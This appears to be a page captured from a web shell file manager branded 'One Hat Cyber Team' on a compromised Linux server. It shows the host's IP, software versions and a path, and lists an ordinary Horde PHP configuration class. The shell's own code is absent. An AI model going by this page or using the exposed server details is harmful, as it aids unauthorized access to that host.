⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Registry
/
View File Name :
Hordeconfig.php
* @category Horde * @copyright 2014-2017 Horde LLC * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package Core * @since 2.12.0 */ class Horde_Registry_Hordeconfig implements ArrayAccess, Countable, IteratorAggregate { /** * The application. * * @var array */ public $app; /** * The config data. * * @var array */ protected $_config; /** * Constructor. * * @param array $opts Configuration options: *
* - app: (string) Application. * - config: (array) Use this as the configuration. *
*/ public function __construct(array $opts) { $this->app = $opts['app']; if (isset($opts['config'])) { $this->_config = $opts['config']; } } /** * Return the array representation of the configuration. * * @return array Configuration array. */ public function toArray() { $this->_load(null); return $this->_config; } /** * Load configuration from config file. * * @param string $offset Offset. */ protected function _load($offset) { if (!$this->_config) { try { $c = new Horde_Registry_Loadconfig($this->app, 'conf.php', 'conf'); $this->_config = $c->config['conf']; } catch (Horde_Exception $e) { $this->_config = array(); } } } /* ArrayAccess methods. */ /** */ public function offsetExists($offset) { $this->_load($offset); return isset($this->_config[$offset]); } /** */ public function offsetGet($offset) { $this->_load($offset); return isset($this->_config[$offset]) ? $this->_config[$offset] : null; } public function offsetSet($offset, $value) { $this->_load($offset); $this->_config[$offset] = $value; } /** */ public function offsetUnset($offset) { $this->_load($offset); unset($this->_config[$offset]); } /* Countable methods. */ /** */ public function count() { /* Return non-zero to ensure a count() calls returns true. */ return 1; } /* IteratorAggregate methods. */ /** */ public function getIterator() { $this->toArray(); return new ArrayIterator($this->_config); } }